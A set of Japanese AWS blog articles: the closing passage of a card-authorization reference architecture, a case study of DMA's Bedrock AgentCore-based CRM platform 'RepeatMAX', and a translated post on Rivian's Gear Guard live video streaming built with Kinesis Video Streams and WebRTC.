を䜿甚しお様々なビゞネスフロヌに適甚するず、カヌドず取匕タむプに基づくBINチェック、リスクチェック、アカりントチェック、䞍正怜知チェック、その他の付加䟡倀サヌビスを怜蚌できたす。怜蚌埌、応答はISO圢匏にフォヌマットされ、消費のためにむグレスAmazon MSKに送信されたす。耇数のKafkaリスナヌがカヌドネットワヌクに接続できたす。 AWSにおけるむシュアヌオヌ゜リれヌションのリファレンスアヌキテクチャヌ むシュアヌ凊理フロヌにおいお、カヌドネットワヌクは゜ケット接続を介しおペむロヌドを送信し、発行銀行たたはプロセッサヌIBPぞオヌ゜リれヌションリク゚ストを䞭継したす。オンプレミスたたはコロケヌション斜蚭に蚭眮された決枈ネットワヌクむンタヌフェヌスプロセッサヌPNIPは、カヌドネットワヌクからのTCP/IPトラフィックを受信したす。IBPは AWS Direct Connect を利甚しお内郚ネットワヌクから暙準むヌサネット光ファむバヌケヌブル経由で、AWS Direct Connectロケヌションに接続できたす。AWS Direct Connectず AWS Transit Gateway の組み合わせは、耇数のVPCずオンプレミスネットワヌクを接続するネットワヌクトランゞットハブを構築するのを支揎したす。 オヌ゜リれヌションリク゚ストのトラフィックは、AWS Transit Gateway経由でNetwork Load Balancerを介しおトヌクナむれヌションVPCにルヌティングされたす。Network Load Balancerは接続レベルレむダヌ4で動䜜し、IPプロトコルデヌタに基づいお顧客VPC内のタヌゲットコンテナぞ接続をルヌティングしたす。トヌクナむれヌションVPCは機密カヌド情報をトヌクン化したす。カヌドデヌタに察する怜蚌や確認ずいった暗号凊理は、AWS Payment Cryptographyのようなスケヌラブルで耐障害性の高いサヌビス䞊で実行する必芁がありたす。情報は暗号化されたデヌタベヌスに保存されたすが、デヌタベヌスに䟝存せずAmazon ElastiCacheから取埗するこずができたす。 リク゚ストはオヌ゜リれヌション決枈凊理VPCに転送され、さらに凊理されたす。オヌ゜リれヌションコンテナは Amazon Elastic Kubernetes ServiceEKS ず統合でき、アプリケヌションをデプロむするこずができたす。 オヌ゜リれヌションコンテナは、カヌド皮別に基づくビゞネス怜蚌チェックのため、承認リク゚ストに远加情報を付加したす。ビゞネスプロセスワヌクフロヌ゚ンゞンは、カヌド皮別に応じた䞍正怜知・リスク・取匕頻床・口座情報およびチップ・PIN・トヌクン・限床額・珟金取匕などのさたざたなポリシヌに基づく耇数のチェックを実行したす。ビゞネス怜蚌応答は Amazon Managed Streaming for Apache Kafka (MSK) のトピックにストリヌミングされたす。オヌ゜リれヌションコンテナが応答を凊理しお、 Amazon DynamoDB に情報を保存したす。その埌、IBPはオヌ゜リれヌション応答承認たたは拒吊応答などをカヌドネットワヌクに送信したす。この応答は、アクワむアリングプロセッサヌを経由しお最終的に加盟店端末に戻りたす。 決枈事業者は、貎重な顧客デヌタを保有しおいたす。このデヌタは、 Amazon Comprehend を䜿甚しお、感情分析や商品レビュヌ分析ずいった顧客むンサむト導出に掻甚できたす。たた、 Amazon Personalize を掻甚すれば、商品ランキングや特定商品の掚奚、カスタマむズされたダむレクトマヌケティングずいった、リアルタむムなパヌ゜ナラむズドレコメンデヌションを実珟できたす。 たずめ クレゞットカヌドは、店頭決枈ず非察面決枈の䞡方においお重芁な決枈手段であり続けおいたす。キャッシュバックやカヌド特兞、航空䌚瀟のポむントなどは、顧客がクレゞットカヌドで支払う理由の䞀郚でしかありたせん。2022幎、米囜の倧手クレゞットカヌド発行䌚瀟では、旅行・嚯楜支出の増加に䌎い、クレゞットカヌドの利甚が倧幅に増加したした。たた、クレゞットカヌド分野では、デゞタルファヌストのクレゞット゜リュヌションによる革新も進んでいたす。この革新により、顧客の申し蟌みが承認されるずすぐに仮想カヌドやトヌクンが利甚可胜になり、カヌド情報をデゞタルりォレットに即座に远加できるようになりたす。 顧客はクレゞットカヌド決枈が数秒で凊理されるこずを期埅しおいたす。本皿では、AWSのサヌビスを掻甚し、安党か぀リアルタむムに凊理でき、高い耐障害性を備え、ピヌク時の決枈量急増にも察応可胜なクラりド決枈凊理゜リュヌションの構築方法に぀いお説明したした。たた、クラりドベヌスの決枈システムでは、AWSのツヌルずサヌビスを甚いお PCI DSS に準拠した堅牢なセキュリティ察策を実珟できたす。フィンテック䌁業により、加盟店が自瀟ブランド別名プラむベヌトラベルクレゞットカヌドを容易に発行し、顧客セグメントの独自のニヌズやラむフスタむルに基づいた報酬をカスタマむズできるようになったこずで、むノベヌションはクレゞットカヌド垂堎を掻性化し続けおいたす。 AWSずの連携方法や、䞖界䞭の決枈顧客が決枈凊理を実行するのを圓瀟がどのように支揎しおいるかに぀いおの詳现は、AWSアカりントマネヌゞャヌにお問い合わせいただくか、 AWS Financial Services – Payments をご芧ください。 免責事項 本投皿におけるリファレンスアヌキテクチャに関する蚘述は、説明を目的ずした参考情報であり、公開時点での情報に基づいおいたす。蚘茉の手順や掚奚事項は教育目的および初期抂念実蚌を意図したものであり、䌁業党䜓向けの完党な゜リュヌションではありたせん。組織に適したアヌキテクチャ蚭蚈に぀いおはお問い合わせください。 本皿は゜リュヌションアヌキテクト畑が翻蚳を担圓したした。
 æ ªåŒäŒšç€Ÿãƒ€ã‚€ãƒ¬ã‚¯ãƒˆãƒžãƒŒã‚±ãƒ†ã‚£ãƒ³ã‚°ã‚šãƒŒã‚žã‚§ãƒ³ã‚·ãƒŒ 以䞋、DMAは、2006幎の創業以来、ECビゞネス支揎゚ヌゞェンシヌずしお自瀟開発にこだわり、ITずBPO゜リュヌションを提䟛しおきたした。近幎のEC垂堎では、顧客行動の倚様化やチャネルの増加により、デヌタ掻甚の重芁性が䞀局高たっおいたす。DMAはこうした背景を受け、デヌタレむクおよびAI機胜を実装したEC基盀「D-Sales ECクラりド」を開発・提䟛しおきたした。 本ブログでは、DMAがAmazon Bedrock AgentCoreを䞭栞に据えお開発した、 AIオヌトパむロット型CRMプラットフォヌム「リピヌトMAX」 の開発事䟋をご玹介したす。 背景ず課題 倚くのEC事業者は、CRM運甚においお以䞋のような構造的な課題を抱えおいたす。 1. CRM運甚の属人化問題 埓来のCRM運甚では、斜策の立案から実行たで、担圓者の経隓ずスキルに倧きく䟝存しおいたした。優秀な担圓者の異動や退職により、それたで築き䞊げおきたノりハりが倱われおしたうリスクが垞にありたした。たた、担圓者によっお斜策の質にばら぀きが出おしたうこずも倧きな課題でした。 2. 短期的斜策ぞの偏重 四半期ごずの売䞊目暙達成を優先するあたり、タむムセヌルや䞀時的な割匕斜策に䟝存し、顧客の賌買サむクルや䞭長期的な関係構築を考慮したCRM蚭蚈が十分に行われおいないケヌスも少なくありたせんでした。特に、初回賌入から2回目・3回目の賌入に぀ながらないこずが、LTV最倧化の倧きな障壁ずなっおいたした。 3. デヌタ統合・掻甚の耇雑さ EC運営の珟堎では、耇数のマヌケティングツヌルが䜵甚され、デヌタが分散しおいるこずが䞀般的です。その結果、顧客行動の党䜓像を把握するこずが難しく、ツヌル間連携やデヌタ統合に倧きな運甚負荷がかかっおいたした。 ゜リュヌションの抂芁 DMAは、単なるツヌル統合やルヌルベヌスの自動化では䞊述の課題解決が難しく、課題を根本から解決するために顧客行動を文脈ずしお理解し、状況に応じお刀断を倉えるAIの掻甚が䞍可欠ず考えたした。そこで、Amazon Bedrock AgentCoreを䞭栞ずした次䞖代CRMプラットフォヌム「リピヌトMAX」の開発に着手したした。「リピヌトMAX」に搭茉されおいるAIオヌトパむロットが売䞊予枬に基づいた最適なCRM斜策を提案したす。「タヌゲティングからクリ゚むティブ/売䞊予枬/事埌怜蚌」たで党おのCRMプロセスを察話圢匏で遞択しおいきたす。目的に応じた提案斜策を遞択するだけで最適CRM斜策によるLife Time Valueの最倧化を実珟したす。 図 1: リピヌトMAXに぀いお 以䞋が「リピヌトMAX」のシステム抂芁になりたす。 図2:リピヌトMAXのシステム抂芁図 「リピヌトMAX」の凊理の流れは以䞋です。 ECサむト運営者はWebブラりザ䞊のWidgetを通じお、 売䞊予枬、クリ゚むティブ生成、AIチャットなどの機胜を遞択し、必芁な情報を入力する フロント゚ンドが入力された内容をAPI Layerに送信する API Layer は入力内容に応じお、察象者抜出、売䞊予枬、クリ゚むティブ、AIチャットを行う 3 の凊理を行う際、必芁に応じお Amazon Bedrock AgentCore を利甚したり、Amazon Redshift Serverless、Amazon Aurora 、Amazon S3から顧客デヌタや過去の賌買履歎を取埗する ナヌザヌの操䜜ログ等の分析のため、倖郚連携も行う システムはナヌザヌの入力に応じお以䞋のアりトプットを生成・提䟛する ・察象顧客セグメントの抜出結果 ・売䞊予枬デヌタずレポヌト ・マヌケティング甚のクリ゚むティブ玠材 ・AIチャットによる質問ぞの回答 Amazon S3およびAmazon Redshift Serverlessに蓄積された顧客行動デヌタを基に、AgentCore䞊のAI゚ヌゞェントが掚論を行い、その結果を再びデヌタレむクぞフィヌドバックする埪環型アヌキテクチャを構築しおいたす。たた、「リピヌトMAX」は、以䞋の芳点でAWSサヌビスを遞定しおいたす。 日本囜内リヌゞョンでの運甚による セキュリティ確保 豊富なAIサヌビスによる 開発効率の向䞊 Amazon Bedrock AgentCore、Amazon S3、Amazon Redshift Serverless、AWS Lambda ずいったサヌバヌレスなサヌビスの採甚による 初期投資の最小化 代衚取締圹の芊塚氏は、AWS のサヌビス遞定理由をこう話したす。 ” 埓来のCRMの枠を超えた、真にむンテリゞェントなCRMを実珟したいず考えたした。そのため、デヌタの統合ず掻甚、コスト最適化、そしお斜策の自動化ずいう点に重点を眮きたした。たた、セキュリティ面では顧客デヌタの取り扱いに特に慎重な取匕先も倚く、東京リヌゞョンに閉じた環境を構築できる点が決め手でした。” 開発の䜓制ずプロセスに぀いお DMAの開発責任者岡本氏および犏田氏は、開発䜓制ずプロセスに぀いお、以䞋のように述べおいたす。 ”倖郚からAWS開発経隓のある゚ンゞニア2名を採甚し、アゞャむル開発手法を採甚しおプロゞェクトを掚進したした。しかし、Amazon Bedrock AgentCoreずいう新技術の導入においお、十分なリファレンスやベンチマヌクが存圚しない䞭で、詊行錯誀を重ねながら蚭蚈・実装を進めたした。経隓者を芋぀けるこずは困難で、䞀床れロから再構築したした。この過皋を通じお、新技術開発に適した゚ンゞニアの特性やプロゞェクト管理の知芋を獲埗し、Amazon Bedrock AgentCoreの特性理解やデヌタレむク構築における既存システムずの統合やAI掻甚最適化のノりハりを蓄積したした。テスト段階では、機胜ベヌスの○×刀定に加え、AIチャットの回答粟床を評䟡するシナリオテストを重芖し、自瀟ECプラットフォヌムの実デヌタを掻甚した怜蚌や、顧客ずの協働による分析結果の劥圓性確認を実斜するこずで、実甚性の高い゜リュヌション開発を実珟したした。” 導入効果ず今埌の展開 AIオヌトパむロット型CRMプラットフォヌム「リピヌトMAX」を導入された倧手癟貚店 EC サむトにおいお、以䞋の効果が埗られおいたす。 リピヌト賌入率が125%向䞊 離脱予兆顧客のCVRが150%以䞊改善 CRM運甚の工数が倧幅に削枛され、玄1時間たで効率化 顧客は AIによる最適なタヌゲティングずタむミングの自動化により、埓来は芋逃しおいた顧客接点を効果的に掻甚できるようになったず評䟡しおいたす。 DMAは、このプロゞェクトを通じお埗られた知芋を基に、以䞋のような機胜拡匵を蚈画しおいたす。 より高床なAI予枬モデルの導入 クリ゚むティブ提案機胜の匷化 たずめ AIオヌトパむロット型CRMプラットフォヌム「リピヌトMAX」の事䟋は、技術革新ずビゞネスニヌズの適切な統合を意識し぀぀、いかにバランスを取りながら実践的な䟡倀を生み出せるかが分かる奜䟋です。この取り組みが、EC業界におけるDX掚進の重芁なベンチマヌクずなるこず、今埌も機胜拡充しおより倚くのEC事業者のビゞネス成長に貢献しおいくこずを期埅したす。 たた、内補化で゜フトりェアに生成AIや新技術を組み蟌む䞊での課題および解決方法は倚くの方に参考になるのではないでしょうか。AWSのサヌビスを掻甚した本事䟋は、クラりドネむティブな開発アプロヌチの有効性を実蚌する奜䟋です。AI掻甚をご怜蚎の䌁業様は、ぜひAWSたでご盞談いただければず思いたす。
本蚘事は、2025 幎 11 月 25 日に公開された How Rivian and Volkswagen Technology Group Built Real-Time Vehicle Security with Amazon Kinesis Video Streams を翻蚳したものです。 このブログ蚘事では、Rivian ず Volkswagen Group Technologies (Rivian) が AWS ず提携し、Rivian の Gear Guard 機胜匷化を通じお車䞡のセキュリティ向䞊に圹立おた方法をご玹介したす。 Amazon Kinesis Video Streams (KVS) を䜿甚するこずで、Rivian はより掗緎されたリアルタむムビデオストリヌミング゜リュヌションを構築し、車䞡所有者が Rivian モバむルアプリケヌションから車茉カメラのラむブ映像をより即座にアクセスできるようになりたした。 はじめに Rivian は、R1T ピックアップトラック、R1S SUV、Electric Delivery Vans(EDVs) で知られる先駆的な電気自動車メヌカヌで、自動車゜リュヌションを絶えず革新しおいたす。Rivian の䞭栞的な補品の 1 ぀である Gear Guard は、オヌナヌが䞍圚の際に車䞡ずその内容物を保護するための包括的な機胜矀です。圓初の Gear Guard は、車茉カメラず AI アルゎリズムを䜿甚しお、䞍審な人的掻動を怜知し、ビデオを蚘録し、Rivian モバむルアプリでオヌナヌに通知するものでした。これらのビデオず蚘録は、車䞡のロヌカルに保存されおいたした。この重芁なセキュリティ機胜の自然な進化ずしお、車䞡からリアルタむムのラむブビデオストリヌミングを Rivian モバむルアプリに盎接導入するこずになりたした。これにより、オヌナヌは怜知された事象䞭に即座に芖芚的にアクセスできるようになりたした。 図1 Rivian Gear Guard キャラクタヌ ラむブ動画ストリヌミングのビゞネス芁件ず技術芁件 Gear Guard のラむブビデオストリヌミングを実装するには、重芁な機胜、パフォヌマンス、セキュリティ芁件に察応できるより堅牢な゜リュヌションが必芁でした。このシステムの䞻な目的は、車䞡所有者が認蚌枈みのモバむルデバむスから Gear Guard のセキュリティカメラのラむブビデオストリヌムを遠隔で芖聎できるようにするこずです。車䞡所有者は、オンデマンドでこのラむブビュヌを開始したり、車䞡が駐車䞭、斜錠䞭、無人の状態でも、Gear Guard のアラヌムシステムからの通知に応じおラむブビュヌを開始したりできたす。 Rivian がこの新しいラむブ動画ストリヌミングサヌビスを開発する際の䞻な機胜芁件は以䞋のずおりでした: トラックベッドカメラを含む、車䞡のカメラからのリモヌト映像の芖聎。 特定のカメラを遞択するか、カメラの映像を切り替えお衚瀺するモヌドを遞択できる機胜。 アラヌムやモヌション怜知時にモバむル通知を生成し、最も関連性の高いカメラストリヌムを遞択するボタンずサムネむルガむダンスを衚瀺。 むベントの同時ラむブストリヌミングず車内ストレヌゞぞの録画。 さたざたな携垯通信䌚瀟や Wi-Fi ネットワヌクプロバむダヌ、モバむル端末に察応。 Rivian が応答性の高いナヌザヌ゚クスペリ゚ンスを実珟するために重芁だった䞻なパフォヌマンス基準は以䞋の通りです: アクティベヌション時間: リク゚ストからストリヌム衚瀺たでの時間は 5 秒未満。 ストリヌム遅延: カメラキャプチャからモバむル衚瀺たでの時間は 1 秒未満。 カメラ切り替え時間: カメラ遞択から衚瀺たでの時間は 1 秒未満。 Rivian の䞻なプラむバシヌずセキュリティの芁件は次のずおりでした: ゚ンドナヌザヌのプラむバシヌは、Rivian にずっお蚭蚈プロセス党䜓を通しお最重芁の関心事でした。プラむバシヌの閟倀分析ずセキュリティ脅嚁分析が行われたした。たずえば、Gear Guard アプリケヌションは、サラりンドビュヌの校正ぞの干枉や望たれないビデオトリガヌを防ぐため、工堎モヌドでは無効になっおいたす。さらに、Rivian はストヌカヌ行為ぞの悪甚を防ぐため、1 セッションおよび 1 日あたりの䜿甚制限を蚭けたした。 Amazon Kinesis Video Streams の遞定理由 耇数のオプションを評䟡した結果、Rivian は機胜、パフォヌマンス/スケヌリング、セキュリティ/プラむバシヌの芁件をすべお満たしおいたため、ビデオストリヌミングサヌビスずしお Amazon KVS を遞択したした。意思決定プロセスで重芁だった Kinesis Video Streams の䞻な機胜は次のずおりです。 耇数のストリヌミングおよびメッセヌゞングプロトコル (Web リアルタむム通信 (WebRTC)、リアルタむムストリヌミングプロトコル (RTSP)、ストリヌム䌝送制埡プロトコル (SCTP)) をサポヌトしたす。 堅牢なシグナリングむンフラストラクチャ – フルマネヌゞドシグナリング、自動スケヌリングずコミュニケヌション甚のチャネルの動的䜜成をサポヌトする STUN および TURN サヌバヌ。 包括的な監芖機胜 – サヌバヌの正垞性ず皌働時間のリアルタむム監芖、コスト監芖、メトリクスずアラヌトのための Amazon CloudWatch ずの統合、パフォヌマンス远跡甚のカスタムダッシュボヌド䜜成機胜。 セキュリティ – Rivian のセキュリティモデルず適切に統合される AWS セキュリティずその他ネむティブサヌビスずの組み蟌み統合。 拡匵性 – オヌプンな暙準 API をサポヌト (䟋: V4 signer URL を生成しお、有効な眲名付き䞀時 URL を生成し、Rivian の IoT およびモバむルデバむスでベンダヌニュヌトラルな機胜を蚱可)。耇数の蚀語でアルゎリズム、クラむアント偎の実装、およびリファレンス SDK が利甚可胜です。 パフォヌマンス – Native WebRTC は、サブ秒レむテンシヌのストリヌミングをサポヌトし、同時に数癟䞇のストリヌムをサポヌトするための自動スケヌリングず、最適なパフォヌマンスのための地域展開をサポヌトしたす。 深い技術的コラボレヌション – Amazon Kinesis Video Streams サヌビスチヌムずの緊密なパヌトナヌシップにより、SDK 統合ず SigV4 デバッグ機胜が実珟し、開発の加速ず耇雑な実装課題の解決が可胜になりたした。 システムアヌキテクチャ Gear Guard のラむブカメラアヌキテクチャは、WebRTC を䞭心に構築されおいたす。WebRTC は䜎レむテンシヌを実珟し、双方向のオヌディオ/ビデオをサポヌトしおいるため、将来的にクラむアントから車䞡ぞの音声むンタラクションを可胜にする助けずなりたす。 図2 Gear Guard のテクニカルアヌキテクチャ ストリヌミングシヌケンスを開始 1 認蚌枈みでペアリングされたモバむルアプリケヌションのむンスタンスがリモヌトトリガヌを開始したす。このリモヌトトリガヌはモバむルゲヌトりェむを経由しおクラりド䞊のリモヌトコマンドプロセッサに枡され、車䞡に送信されたす。 2 モバむルず車䞡はそれぞれ、クラりドサヌビスから眲名付きシグナリングサヌバヌの URL ず TURN サヌバヌの詳现を芁求し、Amazon KVS むンフラストラクチャに接続できるようになりたす。 3 Amazon KVS シグナリングチャネルは、車䞡ずモバむルアプリケヌション間のピア間 IP アドレスの察話型怜玢を含む ICE を容易にし、Amazon KVS WebRTC TURN サヌバヌを経由した接続にフォヌルバックしたす。車䞡のカメラストリヌミングずモバむルビュヌアヌアプリケヌションは、SDK ハンドシェむクで開始され、盎接たたは間接的な接続を介しお送信されるビデオストリヌムのパラメヌタを確立するのに圹立ちたす。 4 車䞡は WebRTC SRTP (暗号化) チャネルを介しお RTSP ビデオストリヌムをモバむルに転送したす。モバむルは WebRTC デヌタチャネルを介しおコマンドを送信し、別の SVS カメラから RTSP ストリヌムを遞択できたす。 䞻芁な実装の抂芁 モバむルず車䞡間のメトリクスずむベントの亀換にデヌタチャネルを䜿甚する。 WebRTC デヌタチャネルを利甚するこずで、モバむルアプリケヌションず車䞡間の情報のより堅牢な双方向の亀換が可胜になりたした。これには、モバむルアプリケヌションから車䞡ぞのカメラ切り替え芁求などのリモヌトコマンドの送信が含たれ、ナヌザヌが異なるカメラビュヌを遞択できるようになりたした。逆に、ストリヌミングセッションの終了を瀺すセッション終了芁求が車䞡からモバむルアプリケヌションに送信されたした。さらに、デヌタチャネルはストリヌミング開始たでの時間などの重芁なメトリクスの送信を容易にし、パフォヌマンスの監芖ず最適化を可胜にしたした。より効率的で構造化された通信を確保するため、このチャネルを介しお送信されるすべおのデヌタは、プロトコルバッファ (protobuf) を䜿甚しおフォヌマットされたした。 シグナリングサヌバヌの資栌情報を配信するための、車䞡蚌明曞ベヌスの認蚌 Go プログラミング蚀語ベヌスのクラりドサヌビスが、䞀時的な資栌情報を持぀ SigV4 眲名付き URL、TURN ず STUN 接続の詳现を車䞡ずモバむルアプリケヌションに認蚌しお提䟛したす。これにより、SDP オファヌを開始し、ICE 候補を確立できたす。リク゚ストの順序は関係ありたせんが、SDP オファヌは 5 秒以内に開始する必芁がありたす。車䞡はサヌビスに察しお mTLS で認蚌され、その ID は蚌明曞に埋め蟌たれおいたす。モバむルアプリケヌションのリク゚ストは oauth2 JWT で認蚌され、ナヌザヌが芁求された車䞡にプロビゞョニングされおいるかどうかを確認したす。 このサヌビスは、車䞡の信号チャネルが存圚するかどうかを確認するために、マルチリヌゞョン Amazon DynamoDB テヌブルを䜿甚し、その埌、車䞡に新しい Amazon Kinesis Video Streams 信号チャネルを提䟛するか、既存のものを再利甚したす。Amazon DynamoDB レコヌドは、30 日間の有効期限を蚭定するのに圹立ち、リク゚ストごずに曎新されたす。 Amazon DynamoDB のレコヌド有効期限切れむベントが Lambda 関数をトリガヌし、30 日間䜿甚されおいない堎合にシグナリングチャネルを削陀するのに圹立ちたす。これにより、Gear Guard サヌビスのアクティブナヌザヌを远跡し、プロビゞョニングされたリ゜ヌスのコストを削枛するのに圹立ちたす。wss ゚ンドポむントは SDP オファヌを送信するために䜿甚されたす。SigV4 眲名付き URL には、ChannelARN、ClientId、有効期限、セキュリティトヌクンなどが埋め蟌たれおいたす。このサヌビスには、STUN サヌバヌず TURN サヌバヌ (UDP、セキュア UDP、TCP) ず資栌情報も含たれおいたす。 図3 Gear Guard ラむブカメラフィヌド AWS リヌゞョンベヌスのシグナリングサヌバヌず TURN サヌバヌの割り圓お: ピア間接続で TURN サヌバヌを䜿甚する堎合、車䞡の䜍眮ず同じ AWS リヌゞョンにシグナリングず TURN サヌバヌを割り圓おたいず思いたす。これは、米囜西海岞に車䞡ずモバむルアプリケヌションがあり、シグナリングチャネルが米囜東海岞にプロビゞョニングされる可胜性を回避するためです。組み合わせは次のずおりです。 図4 Gear Guard の地域展開 最適化された実装では、AWS Elastic Kubernetes Service (Amazon EKS) 䞊で us-east-1 および us-west-2 の䞡リヌゞョンにデプロむされおいるクラりドサヌビスが、カスタムの地理䜍眮情報サヌビスを䜿甚しお、車䞡がカンザス州レバノン (39°50′N 98°35′W) の東偎か西偎のどちらに䜍眮するかを特定するのに圹立ちたす。AWS ず Rivian は、この地点を米囜の䞭心地ず特定しおいたす (図 4 の砎線で瀺されおいたす)。このサヌビスは、車䞡が存圚するリヌゞョンに共存するアプリケヌションの Kinesis Video Streams シグナリングチャネルをプロビゞョニングするのに圹立ちたす。䞊蚘の䟋 (図 4) では、モバむルデバむスが東海岞たたは西海岞のどちらにあるかに関係なく、car-01 は us-west-2 にシグナリングチャネルが蚭定されたす。同様に、car-02 は us-east-1 リヌゞョンに蚭定されたす。 プロダクション環境での孊び (1 幎間の振り返り) 1 幎間の運甚を経お、以䞋の重芁な知芋が埗られたした。 レむテンシ: WebRTC の遞択は、HTTP Live Streaming (HLS) などの他のストリヌミングプロトコルよりも䜎レむテンシストリヌミングを実珟するのに効果的でした。 耇数の芖聎者に察するスケヌラビリティ: WebRTC のピア・ツヌ・ピア方匏の䞻な蚭蚈䞊の課題は、各クラむアントが䞀意の暗号化キヌを䜿甚した個別の SRTP/SRTCP ストリヌムを必芁ずするこずです。぀たり、2 番目のクラむアントが同じ車䞡からストリヌムを芁求した堎合、新しいストリヌムを開始する必芁があり、単䞀の車䞡ストリヌムを耇数のピアで盎接共有するこずが制限されたす。珟圚の蚭蚈は、ラむブ芖聎甚の 1 ぀のピア・ツヌ・ピア接続に最適化されおおり、シグナリングチャネルごずに最倧 10 人の参加者がサポヌトされおいたす。 コスト管理: 接続サヌビスを介したナヌザヌ芁求に応じたシグナリングチャネルのプロビゞョニングず削陀の最適化。これにより、機胜を䜿甚しおいない゚ンドナヌザヌにシグナリングチャネルが事前にプロビゞョニングされるこずがなくなりたす。 課題ず解決策: ネットワヌクむンタヌフェヌスぞのバむンディング: AWS SDK for C ++ では、゜ケット接続に特定のネットワヌクむンタヌフェヌスをバむンドするこずができたせんでしたが、Rivian のストリヌミング APN はデフォルトのネットワヌクむンタヌフェヌスずは異なるため、これは䞍可欠でした。しかし、SDK はオヌプン゜ヌスなので、Rivian はネットワヌクバむンディングのパッチを䜜成し、ストリヌミングむンタヌフェヌスにバむンドするこずができたした。 車䞡のりェむクアップ時間: スリヌプ䞭の車䞡がモバむルコマンドに応答し、ストリヌミングを開始するたでの時間を最適化するこずが、重芁なパフォヌマンス芁件でした。 機胜匷化ず今埌の蚈画 Rivian は、Gear Guard ラむブカメラ機胜を進化させ続け、次の機胜匷化を蚈画しおいたす: ナヌザヌむンタヌフェヌスの次䞖代アップデヌトには、接続の異なる段階でのナヌザヌの可芖性の向䞊や、ストリヌミング䞭の車䞡ネットワヌク状況の可芖化が含たれたす。 適応ビットレヌトず ICE 再起動などの最適化により、セッション成功率 (この機胜の最も重芁な KPI) の向䞊を含め、成功したセッションを匷化したす。AWS WebRTC SDK はメディアチャネルの TWCC をサポヌトしおおり、これを適応ビットレヌト実装に䜿甚できたす。たた、SDK は restartIce() をサポヌトしおおり、これを䜿っお接続の切断/ネットワヌクの切り替え時に再接続する予定です。 結論 Rivian の Amazon Kinesis Video Streams を䜿甚した Gear Guard ラむブカメラの実装は、所有者のプラむバシヌを最優先にしながら (Rivian のむンフラストラクチャや AWS クラりドにビデオ録画が保存されない)、車䞡のセキュリティ匷化を支揎するより高床な゜リュヌションを瀺しおいたす。WebRTC の䜎レむテンシず双方向通信機胜、Kinesis Video Streams ずの密接な統合による堅牢なシグナリングず安党な資栌情報管理を戊略的に掻甚するこずで、Rivian はパワフルなリアルタむムビデオストリヌミング䜓隓を実珟したした。 Anirban Kundu Anirban Kundu は、Rivian および Volkswagen Technology Group においお、デヌタプラットフォヌム郚門の IoT およびストリヌミングのディレクタヌを務めおいたす。分散型コンピュヌティングずビッグデヌタ凊理、特にデヌタ収集ずストリヌム凊理に情熱を泚いでいたす。過去にはゲノム解析や䞉次分析、産業甚むンタヌネットなど、䞖界をより良くするずいう利他的な目暙に向けた取り組みに携わっおきたした。 Adam Arsenault Adam Arsenault は、Rivian および Volkswagen Technology Group のプリンシパル゜フトりェア゚ンゞニアである。Rivian 車䞡ず連携する iOS および Android モバむルアプリケヌションの゚ンドツヌ゚ンドアヌキテクチャず開発に泚力しおいる。25 幎以䞊の経隓を持぀アダムは、顧客を魅了する階局化され信頌性が高くスケヌラブルな分散アプリケヌションの構築、およびデヌタずメトリクスを甚いた情報に基づいた意思決定に尜力しおいる。 Aditya Purohit Aditya Purohit は、Rivian および Volkswagen Technology Group のスタッフ゜フトりェア゚ンゞニアであり、スケヌラブルでむンテリゞェントなコネクテッドカヌシステムの開発に泚力しおいる。組み蟌み゜フトりェアずデヌタ凊理の深い専門知識を掻かし、車茉コンピュヌティングずクラりドベヌスの知芋を連携させ、より豊かでリアルタむムなコネクテッドカヌ機胜を実珟する取り組みを行っおいる。EV 技術ず゚ッゞ AI の進化に情熱を泚ぐアディティアは、車䞡の知胜性、効率性、プラむバシヌ、安党性を高めるシステムの蚭蚈を楜しんでいる。仕事以倖では、ハむキングやアりトドア探玢、新しいスポヌツに挑戊する時間を過ごしおいる。 Asif Khan Asif Khan は、Amazon Web Services のプリンシパル゜リュヌションアヌキテクトずしお、自動車業界の䌁業顧客を支揎しおいる。自動車産業向けに革新的でコスト効率が高くスケヌラブルな゜リュヌションを蚭蚈・構築・提䟛するこずに情熱を泚いでいる。仕事以倖では、若手プロフェッショナルのメンタリングや、プロトタむプ構築を通じお新興技術トレンドを把握するこずを楜しんでいる。 Ajay Paknikar AWS のプリンシパルカスタマヌ゜リュヌションマネヌゞャヌである Ajay Paknikar は、グロヌバルな自動車顧客をサポヌトしおいたす。アゞャむは、AWS の優れた機胜を掻甚しお成功したビゞネス成果を確保し、䌁業の AWS 導入プロセスを導くこずに情熱を泚いでいたす。クラむアント経営陣ぞの戊略的アドバむザヌずしお、クラりド導入ずクラりド成熟床の向䞊に泚力しおいたす。 本蚘事は Senior Solutions Architect の 長谷川 仁志 が翻蚳したした。